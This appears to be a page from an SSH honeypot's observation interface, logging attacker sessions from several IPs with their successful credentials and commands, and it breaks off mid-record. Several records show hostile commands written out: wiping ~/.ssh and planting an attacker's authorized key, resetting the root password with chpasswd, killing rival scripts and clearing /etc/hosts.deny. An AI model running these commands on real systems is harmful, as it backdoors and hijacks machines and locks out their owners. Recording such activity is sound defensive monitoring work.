nonproductions.net banner
Logo
Subsystem: NO BONK

Adversarial Observation Interface

Page 3347 / 16054 (802673 total records)
Passive Observation Node - Active Operational Overview
14.103.48.24
2026-10-09 23:02:39.640152 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cc602fb52916
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "cc602fb52916",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T23:02:39.640152Z",
  "end_time": "2026-10-09T23:04:39.646947Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
14.103.48.24
2026-10-09 23:02:36.595735 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 12345-Qwert

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 568c7ad7c21e
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 13.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "568c7ad7c21e",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T23:02:36.595735Z",
  "end_time": "2026-10-09T23:02:49.783575Z",
  "duration": "13.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "12345-Qwert"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
14.103.48.24
2026-10-09 23:01:33.335208 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6c381c2f9d2a
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "6c381c2f9d2a",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T23:01:33.335208Z",
  "end_time": "2026-10-09T23:03:33.346937Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
14.103.48.24
2026-10-09 23:01:25.328202 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4033cc604508
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "4033cc604508",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T23:01:25.328202Z",
  "end_time": "2026-10-09T23:03:25.334765Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
14.103.48.24
2026-10-09 23:01:22.090275 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 340

Credential acceptance event recorded. Target authentication: root / root123456A

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo "root:Ys67W1kiwXjB"|chpasswd|bash
[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: 3908dcbdd4d7
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 28.6s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "3908dcbdd4d7",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T23:01:22.090275Z",
  "end_time": "2026-10-09T23:01:50.669322Z",
  "duration": "28.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root123456A"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:Ys67W1kiwXjB\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:Ys67W1kiwXjB\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
38.22.169.6
2026-10-09 23:00:47.229045 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / 1qaz@WSX3edc

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: cc069486f044
Client Version: SSH-2.0-Go
Engagement Duration: 0.8s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "cc069486f044",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T23:00:47.229045Z",
  "end_time": "2026-10-09T23:00:48.067860Z",
  "duration": "0.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "1qaz@WSX3edc"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
14.103.48.24
2026-10-09 23:00:07.262756 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 390aa2cc204b
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "390aa2cc204b",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T23:00:07.262756Z",
  "end_time": "2026-10-09T23:02:07.270571Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
14.103.48.24
2026-10-09 22:58:53.318887 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b21a530d81de
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "b21a530d81de",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:58:53.318887Z",
  "end_time": "2026-10-09T23:00:53.327453Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
38.22.169.6
2026-10-09 22:57:43.381193 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / q1w2e3r4

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: d8dab2204466
Client Version: SSH-2.0-Go
Engagement Duration: 0.7s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "d8dab2204466",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:57:43.381193Z",
  "end_time": "2026-10-09T22:57:44.045421Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "q1w2e3r4"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
14.103.48.24
2026-10-09 22:57:37.694187 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: bcfb201d24ed
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "bcfb201d24ed",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:57:37.694187Z",
  "end_time": "2026-10-09T22:59:37.712050Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
14.103.48.24
2026-10-09 22:56:23.632837 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ab87629a55dc
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "ab87629a55dc",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:56:23.632837Z",
  "end_time": "2026-10-09T22:58:23.656903Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
183.201.208.25
2026-10-09 22:55:33.736349 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4f7d13d87587
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "4f7d13d87587",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:55:33.736349Z",
  "end_time": "2026-10-09T22:57:33.744091Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
14.103.48.24
2026-10-09 22:55:07.031948 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 048d83aa292f
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "048d83aa292f",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:55:07.031948Z",
  "end_time": "2026-10-09T22:57:07.039468Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
193.46.255.86
2026-10-09 22:55:02.856116 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 12345678

Record ID: fe8263e04228
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "fe8263e04228",
  "src_ip": "193.46.255.86",
  "start_time": "2026-10-09T22:55:02.856116Z",
  "end_time": "2026-10-09T22:55:08.906415Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "12345678"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
38.22.169.6
2026-10-09 22:54:43.583498 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / 1q2w3e4r

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: 6ba7be3cacfc
Client Version: SSH-2.0-Go
Engagement Duration: 0.7s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "6ba7be3cacfc",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:54:43.583498Z",
  "end_time": "2026-10-09T22:54:44.251004Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "1q2w3e4r"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
14.103.48.24
2026-10-09 22:53:52.509302 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 77d0cfef9f97
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "77d0cfef9f97",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:53:52.509302Z",
  "end_time": "2026-10-09T22:55:52.521973Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
183.201.208.25
2026-10-09 22:53:17.505934 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a9fb3321b3ff
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "a9fb3321b3ff",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:53:17.505934Z",
  "end_time": "2026-10-09T22:55:17.518924Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
14.103.48.24
2026-10-09 22:52:36.785452 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 01736b573f05
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "01736b573f05",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:52:36.785452Z",
  "end_time": "2026-10-09T22:54:36.822926Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
38.22.169.6
2026-10-09 22:51:46.484451 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / qwer1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: 376f0e2bc4fc
Client Version: SSH-2.0-Go
Engagement Duration: 0.7s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "376f0e2bc4fc",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:51:46.484451Z",
  "end_time": "2026-10-09T22:51:47.152458Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "qwer1234"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
14.103.48.24
2026-10-09 22:51:21.246995 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 46bb1e52426c
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "46bb1e52426c",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:51:21.246995Z",
  "end_time": "2026-10-09T22:53:21.255260Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
183.201.208.25
2026-10-09 22:51:02.273060 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9a125199128d
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "9a125199128d",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:51:02.273060Z",
  "end_time": "2026-10-09T22:53:02.292730Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
14.103.48.24
2026-10-09 22:50:07.994527 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a702dcff655d
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "a702dcff655d",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:50:07.994527Z",
  "end_time": "2026-10-09T22:52:08.003235Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
14.103.48.24
2026-10-09 22:48:51.377786 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c2d56c4c3be0
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "c2d56c4c3be0",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:48:51.377786Z",
  "end_time": "2026-10-09T22:50:51.385862Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
183.201.208.25
2026-10-09 22:48:47.644080 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 04d990c6297e
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "04d990c6297e",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:48:47.644080Z",
  "end_time": "2026-10-09T22:50:47.658122Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
38.22.169.6
2026-10-09 22:48:37.177760 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / oracle1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: 7086634abbb5
Client Version: SSH-2.0-Go
Engagement Duration: 0.7s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "7086634abbb5",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:48:37.177760Z",
  "end_time": "2026-10-09T22:48:37.844553Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "oracle1234"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
14.103.48.24
2026-10-09 22:47:37.102507 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 837ff6a43fc8
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "837ff6a43fc8",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:47:37.102507Z",
  "end_time": "2026-10-09T22:49:37.112251Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
183.201.208.25
2026-10-09 22:46:30.983231 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6e10caf9d2e6
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "6e10caf9d2e6",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:46:30.983231Z",
  "end_time": "2026-10-09T22:48:30.998466Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
14.103.48.24
2026-10-09 22:46:20.466822 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 411446e6afb4
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "411446e6afb4",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:46:20.466822Z",
  "end_time": "2026-10-09T22:48:20.487889Z",
  "duration": "120.0",
  "version": null,
